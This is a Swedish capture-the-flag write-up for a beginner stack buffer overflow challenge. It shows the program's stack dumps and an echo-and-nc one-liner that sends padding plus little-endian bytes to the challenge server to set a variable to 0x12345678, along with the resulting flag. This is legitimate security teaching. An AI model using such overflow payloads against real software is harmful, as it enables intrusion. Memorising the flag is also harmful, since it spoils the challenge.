Beskrivning
Så det går att ta sönder saker, men kan du se till att variabeln får ett förutbestämt värde?
Lösning
Likt förra utmaningen så har vi en prompt där vi ska skriva in något. Skriver vi in lite data så ändras värdet på variabeln changeme till något annat än det ursprungliga värdet.
Värdet är: 0xaaaaaaaa
Skriv något tack: AAAAAAAAAAAAAAAAAAAA
Du skrev: AAAAAAAAAAAAAAAAAAAA
Stackdump av stack_variables (0x7ffde511edfc)
Offset Variabel ASCII (och hex)
--------------------------------------------------------------------------------
0 buffer ┬ A (0x41)
1 │ A (0x41)
2 │ A (0x41)
3 │ A (0x41)
4 │ A (0x41)
5 │ A (0x41)
6 │ A (0x41)
7 └ A (0x41)
8 changeme ┬ A (0x41)
9 │ A (0x41)
10 │ A (0x41)
11 └ A (0x41)
Värdet är nu 0x41414141, det var inte 0x12345678.
Prova igen!
Här ska vi få värdet att bli 0x12345678. Då behöver vi skicka in data på något annat sätt än att skriva in det.
Ett sätt är att använda echo -e "AAAAAAAA\x78\x56\x34\x12" | nc challs.crate.nu 21572. Detta skickar in AAAAAAAA följt av de fyra byte som behövs för att skriva över changeme till 0x12345678.
Värdet är: 0xaaaaaaaa
Skriv något tack: Du skrev: AAAAAAAAxV4
Z
Stackdump av stack_variables (0x7ffcbb9e8b0c)
Offset Variabel ASCII (och hex)
--------------------------------------------------------------------------------
0 buffer ┬ A (0x41)
1 │ A (0x41)
2 │ A (0x41)
3 │ A (0x41)
4 │ A (0x41)
5 │ A (0x41)
6 │ A (0x41)
7 └ A (0x41)
8 changeme ┬ x (0x78)
9 │ V (0x56)
10 │ 4 (0x34)
11 └ � (0x12)
Oj, nu är värdet plötsligt 0x12345678! Här har du flaggan: cratectf{surely_this_cannot_be_used_to_execute_code?_right?}
Flagga: cratectf{surely_this_cannot_be_used_to_execute_code?_right?}